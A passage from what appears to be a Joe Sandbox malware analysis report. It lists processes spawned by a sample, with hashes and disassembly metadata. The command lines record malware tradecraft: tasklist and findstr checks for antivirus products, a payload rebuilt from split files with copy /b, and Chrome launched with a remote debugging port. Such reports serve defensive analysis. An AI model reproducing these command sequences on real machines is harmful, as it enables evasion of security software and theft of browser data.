Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	11:18:42
Start date:	29/11/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "wrsa opssvc"
Imagebase:	0xe30000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	11:18:43
Start date:	29/11/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0xd80000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	11:18:43
Start date:	29/11/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Imagebase:	0xe30000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	11:18:43
Start date:	29/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 477151
Imagebase:	0xbd0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	11:18:44
Start date:	29/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b ..\Enhancements + ..\Images + ..\Mhz + ..\Founded + ..\Pk + ..\Reflected + ..\Downloadcom L
Imagebase:	0xbd0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	11:18:44
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\477151\Selection.com
Wow64 process (32bit):	true
Commandline:	Selection.com L
Imagebase:	0x650000
File size:	893'608 bytes
MD5 hash:	6EE7DDEBFF0A2B78C7AC30F6E00D1D11
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	51
Start time:	11:18:44
Start date:	29/11/2024
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	choice /d y /t 5
Imagebase:	0x320000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	11:18:46
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\kreon.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\kreon.exe"
Imagebase:	0x7ff604f70000
File size:	3'646'464 bytes
MD5 hash:	CA480193E4B8159DD1283118EBDE8896
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	11:18:48
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe"
Imagebase:	0x2b1cf640000
File size:	3'057'744 bytes
MD5 hash:	EFD35E14043220E2EC5E545BE98A442C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	54
Start time:	11:18:49
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6e4e70000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	55
Start time:	11:18:49
Start date:	29/11/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe" /nologo /codebase "C:\Program Files\TaskbarMonitor\TaskbarMonitor.dll"
Imagebase:	0x1fc1ee90000
File size:	65'168 bytes
MD5 hash:	A4EB36BAE72C5CB7392F2B85609D4A7E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	11:18:49
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6e4e70000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	11:18:49
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\29442\Reynolds.com
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\29442\Reynolds.com
Imagebase:	0x7ff7a34c0000
File size:	1'065'128 bytes
MD5 hash:	C63860691927D62432750013B5A20F5F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	11:18:50
Start date:	29/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9221 --profile-directory="Default"
Imagebase:	0x7ff6b9400000
File size:	2'742'376 bytes
MD5 hash:	BB7C48CDDDE076E7EB44022520F40F77
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	11:18:51
Start date:	29/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-subproc-heap-profiling --field-trial-handle=2208,i,18153170095158784045,2403833112431802298,262144 --variations-seed-version=20240909-180142.416000 --mojo-platform-channel-handle=2532 /prefetch:3
Imagebase:	0x7ff6b9400000
File size:	2'742'376 bytes
MD5 hash:	BB7C48CDDDE076E7EB44022520F40F77
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	11:18:54
Start date:	29/11/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.js"
Imagebase:	0x7ff730890000
File size:	170'496 bytes
MD5 hash:	0639B0A6F69B3265C1E42227D650B7D1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 05440CE7 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.13886658847.0000000005440000.00000040.00001000.00020000.00000000.sdmp, Offset: 05440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5440000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 890f858a45ee8ef767f540a2b028f550f6e9bd7a888b7c572cbf2ff0bbc0c115
Instruction ID: 908b573833bf6d66e24aba8521a40d7c382223f6ff885f41439d645573f41d10
Opcode Fuzzy Hash: 890f858a45ee8ef767f540a2b028f550f6e9bd7a888b7c572cbf2ff0bbc0c115
Instruction Fuzzy Hash: 4FF096DF2C8210AFA34691595A194F9766AF68723033005A7A107CA502E2851A2A5575

Function 05440C7B Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.13886658847.0000000005440000.00000040.00001000.00020000.00000000.sdmp, Offset: 05440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5440000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3a2e1d14b39a4dfaa5867ddebfb3228cf9f18166ef56dc057c23625b1409c29
Instruction ID: a33254d73da5b5e21b531181925df4a8abe1b73329a92e315cb9fad91dc7bad6
Opcode Fuzzy Hash: e3a2e1d14b39a4dfaa5867ddebfb3228cf9f18166ef56dc057c23625b1409c29
Instruction Fuzzy Hash: DC11EBFF184210EFB216D556970D5FA7BBBFBD7230330406BF60F8D501E295492A59A1

Function 05440D06 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.13886658847.0000000005440000.00000040.00001000.00020000.00000000.sdmp, Offset: 05440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5440000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ae1efc3aeb115ed6358afc5dab7a5d4bb99b6fba4b155c5d8cdab0cddc93bcb
Instruction ID: 2797e1560a0b9654d6c60fd45bedf2516a1f9469d4302c378524005ef7a9a09b
Opcode Fuzzy Hash: 9ae1efc3aeb115ed6358afc5dab7a5d4bb99b6fba4b155c5d8cdab0cddc93bcb
Instruction Fuzzy Hash: F8E022EF2C0210AEA213A199571C5F67A6FB79B23037000A6F10ADAA02E2D80A2E1530

Function 05440CF5 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.13886658847.0000000005440000.00000040.00001000.00020000.00000000.sdmp, Offset: 05440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5440000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8e6eeccba5a044b25329afe3450447032e74344f10ececae2e12bb3c089623d
Instruction ID: 6a405442b9aac8e965dac051473a7ee272c4075ace3930d0e98b12d04b8cdd8c
Opcode Fuzzy Hash: f8e6eeccba5a044b25329afe3450447032e74344f10ececae2e12bb3c089623d
Instruction Fuzzy Hash: 3DE0E5EF1C42206FE752A189570C0F5BB6EB79723033005A7E10A89502E2C40B2E1975

Analysis Process: 926085a3ba.exePID: 3564, Parent PID: 6500COMMON

Non-executed Functions

Function 00007FF77FB86D74 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF77FB86DA0
GetCurrentThreadId.KERNEL32 ref: 00007FF77FB86DAE
GetCurrentProcessId.KERNEL32 ref: 00007FF77FB86DBA
QueryPerformanceCounter.KERNEL32 ref: 00007FF77FB86DCA

Memory Dump Source

Source File: 00000005.00000002.14168868282.00007FF77FA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77FA00000, based on PE: true

Associated: 00000005.00000002.14168817177.00007FF77FA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169289456.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169708130.00007FF77FD61000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169756730.00007FF77FD64000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD65000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD69000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169881513.00007FF77FD6C000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff77fa00000_926085a3ba.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 2a87ab99fa65a7804c7399302523ae023a4c087454de7b67f1e451d2cc458a2a
Instruction ID: 14325e9811439cda4c6a9cd318856fa6b2961954262a5f62fe4870acd575babc
Opcode Fuzzy Hash: 2a87ab99fa65a7804c7399302523ae023a4c087454de7b67f1e451d2cc458a2a
Instruction Fuzzy Hash: A4111C26B24F4189EB00EBB0E9542F873A4F759758F840A35EA6D467A4EF78E1548390

Function 00007FF77FA0E540 Relevance: .6, Instructions: 565COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.14168868282.00007FF77FA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77FA00000, based on PE: true

Associated: 00000005.00000002.14168817177.00007FF77FA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169289456.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169708130.00007FF77FD61000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169756730.00007FF77FD64000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD65000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD69000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169881513.00007FF77FD6C000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff77fa00000_926085a3ba.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c550c23eac083fb8d1f23166675d05766513d954a435ccade20fed6810b4aac1
Instruction ID: 493836848f2ef36add730b941977c2d7f210252a30bfca2a68976b2e7a900bdb
Opcode Fuzzy Hash: c550c23eac083fb8d1f23166675d05766513d954a435ccade20fed6810b4aac1
Instruction Fuzzy Hash: 8622D4A2210BE58AF720DFA8A451ACFBB31F349789F59611AEFD927744C738D119D310

Function 00007FF77FA0BFF0 Relevance: .6, Instructions: 553COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.14168868282.00007FF77FA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77FA00000, based on PE: true

Associated: 00000005.00000002.14168817177.00007FF77FA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169289456.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169708130.00007FF77FD61000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169756730.00007FF77FD64000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD65000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD69000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169881513.00007FF77FD6C000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff77fa00000_926085a3ba.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0ccbd1e9e29605f5703aeb3842e1d56ff43067bd7d43d508fdc2bc6605a4877
Instruction ID: 7ff956ea748cf025112f1c1a2a6531932220d382fb1ea97276d16c30968d63e5
Opcode Fuzzy Hash: c0ccbd1e9e29605f5703aeb3842e1d56ff43067bd7d43d508fdc2bc6605a4877
Instruction Fuzzy Hash: 6932C422D18FDA52E6235739D1035B66310EFB7B88F00E717FEC871992EF75A9899240

Function 00007FF77FA05C40 Relevance: .5, Instructions: 478COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.14168868282.00007FF77FA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77FA00000, based on PE: true

Associated: 00000005.00000002.14168817177.00007FF77FA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169289456.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169708130.00007FF77FD61000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169756730.00007FF77FD64000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD65000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD69000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169881513.00007FF77FD6C000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff77fa00000_926085a3ba.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf85399a59147d0b652430a217e5b702f08b2864b73920aaa301b9a1d4ad56a9
Instruction ID: 35e930250f0b4df6ae30de0e697c54d420a0dc9f05c0cfaf0d97351740b938de
Opcode Fuzzy Hash: cf85399a59147d0b652430a217e5b702f08b2864b73920aaa301b9a1d4ad56a9
Instruction Fuzzy Hash: D422DCB3A98290ABD7118F25D2A05AE3FA1F7177A07858312CBC543786D73DB536CB50

Function 00007FF77FA0A9B0 Relevance: .5, Instructions: 463COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.14168868282.00007FF77FA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77FA00000, based on PE: true

Associated: 00000005.00000002.14168817177.00007FF77FA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169289456.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169708130.00007FF77FD61000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169756730.00007FF77FD64000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD65000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD69000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169881513.00007FF77FD6C000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff77fa00000_926085a3ba.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0548514c4c8b113d92ddd0d204e7b11ea4a75043de251748c4fda24bdcd95c4
Instruction ID: a95a6224ab6705bfd15d017e6f64b72d87da17ed2ce51daa8041577d3a2fa5f2
Opcode Fuzzy Hash: b0548514c4c8b113d92ddd0d204e7b11ea4a75043de251748c4fda24bdcd95c4
Instruction Fuzzy Hash: D922CF12E28FD952E6139B3991035B66320EFBB7C8F04E316FEC8B1553EF75A6959200

Function 00007FF77FA0A172 Relevance: .4, Instructions: 431COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.14168868282.00007FF77FA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77FA00000, based on PE: true

Associated: 00000005.00000002.14168817177.00007FF77FA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169289456.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169708130.00007FF77FD61000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169756730.00007FF77FD64000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD65000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD69000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169881513.00007FF77FD6C000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff77fa00000_926085a3ba.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dab17be4026a6c35ea24da57e90003bf1faf4831ff2aa495885ec608f5727e14
Instruction ID: df0d394e0a8dc8b1d74889985f267b815d42c17d614480fa7f590573fb05a0bd
Opcode Fuzzy Hash: dab17be4026a6c35ea24da57e90003bf1faf4831ff2aa495885ec608f5727e14
Instruction Fuzzy Hash: 2712B212E2CFC951E2135B3991035F56320BFBB2D8B00D326FFC871563EB66B695A261

Function 00007FF77FA03780 Relevance: .4, Instructions: 376COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.14168868282.00007FF77FA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77FA00000, based on PE: true

Associated: 00000005.00000002.14168817177.00007FF77FA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169289456.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169708130.00007FF77FD61000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169756730.00007FF77FD64000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD65000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD69000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169881513.00007FF77FD6C000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff77fa00000_926085a3ba.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9deff24510052f1ca027ffd6e912a104696249bff2d50c53e0635e56cdf220ec
Instruction ID: dad86f1e462fb1e1e96619f43058d40438f34711499a5c8381d6254ffd83736e
Opcode Fuzzy Hash: 9deff24510052f1ca027ffd6e912a104696249bff2d50c53e0635e56cdf220ec
Instruction Fuzzy Hash: 73E16CB6B91A7596D7048F16EA0178D7B64F319BC8F898525CF8C83B50EB38E831D300

Function 00007FF77FA0A180 Relevance: .4, Instructions: 362COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.14168868282.00007FF77FA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77FA00000, based on PE: true

Associated: 00000005.00000002.14168817177.00007FF77FA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169289456.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169708130.00007FF77FD61000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169756730.00007FF77FD64000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD65000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD69000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169881513.00007FF77FD6C000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff77fa00000_926085a3ba.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b4638826d0835714e403e67164314e87c07565fcb73b820e190128f6c465720
Instruction ID: 2c11aaddc7c0cb2ef2eb99d5c269e0132b3ddd25fbcd3657351c0ee21660df55
Opcode Fuzzy Hash: 5b4638826d0835714e403e67164314e87c07565fcb73b820e190128f6c465720
Instruction Fuzzy Hash: C2F1D612E1CFC951E2135B3D91075F56324AFB72D8F00D326FEC8B1663EB66A681A321

Function 00007FF77FA0F0A0 Relevance: .3, Instructions: 340COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.14168868282.00007FF77FA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77FA00000, based on PE: true

Associated: 00000005.00000002.14168817177.00007FF77FA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169289456.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169708130.00007FF77FD61000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169756730.00007FF77FD64000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD65000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD69000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169881513.00007FF77FD6C000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff77fa00000_926085a3ba.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b66d8f2b8f8c328a9138d15fa8081b6c41ba89d917fe6d74a07776fb9cbc83c
Instruction ID: 2abb29883f8dd9ffb3e417ad786e7b57096c8dbe0d698750d26e5ef53a40db19
Opcode Fuzzy Hash: 7b66d8f2b8f8c328a9138d15fa8081b6c41ba89d917fe6d74a07776fb9cbc83c
Instruction Fuzzy Hash: B4D18E9BC28FDA45F313633D54436A2E614AFFB5D9A20E303FDF471A62EB5072956220

Function 00007FF77FA08E80 Relevance: .3, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.14168868282.00007FF77FA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77FA00000, based on PE: true

Associated: 00000005.00000002.14168817177.00007FF77FA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169289456.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169708130.00007FF77FD61000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169756730.00007FF77FD64000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD65000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD69000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169881513.00007FF77FD6C000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff77fa00000_926085a3ba.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d99519007a3160027af60c174ae658a035ae279c8b5eddc525d7f31c2ef3fc7c
Instruction ID: 78e7988cbcf82c67e0af98f19d490eeb64f2cfe971596dd5748d50970906dd91
Opcode Fuzzy Hash: d99519007a3160027af60c174ae658a035ae279c8b5eddc525d7f31c2ef3fc7c
Instruction Fuzzy Hash: 31F12513D2CFC583E2255B3996016FAA720FBBA304F41E715EFD921961DF29F2E59240

Function 00007FF77FA0CAA0 Relevance: .2, Instructions: 235COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.14168868282.00007FF77FA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77FA00000, based on PE: true

Associated: 00000005.00000002.14168817177.00007FF77FA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169289456.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169708130.00007FF77FD61000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169756730.00007FF77FD64000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD65000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD69000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169881513.00007FF77FD6C000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff77fa00000_926085a3ba.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb228858947858655f4a9b512749487d2731628d236eac2219225570297e0062
Instruction ID: 0d81528978c66d0d9d9f8eb631b87b67c1dfd328ff712aa6a4ffb82b48998579
Opcode Fuzzy Hash: fb228858947858655f4a9b512749487d2731628d236eac2219225570297e0062
Instruction Fuzzy Hash: 1DB19022C3DBC241F7033B3565036A5D2209FA3254F91C732FEA9719A7EF18B64851B2

Function 00007FF77FA0B900 Relevance: .2, Instructions: 195COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.14168868282.00007FF77FA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77FA00000, based on PE: true

Associated: 00000005.00000002.14168817177.00007FF77FA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169289456.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169708130.00007FF77FD61000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169756730.00007FF77FD64000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD65000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD69000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169881513.00007FF77FD6C000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff77fa00000_926085a3ba.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38bb0797435f3f3e06de13988d079cd4bd348e19c1d6278303e57a3c95d01b2d
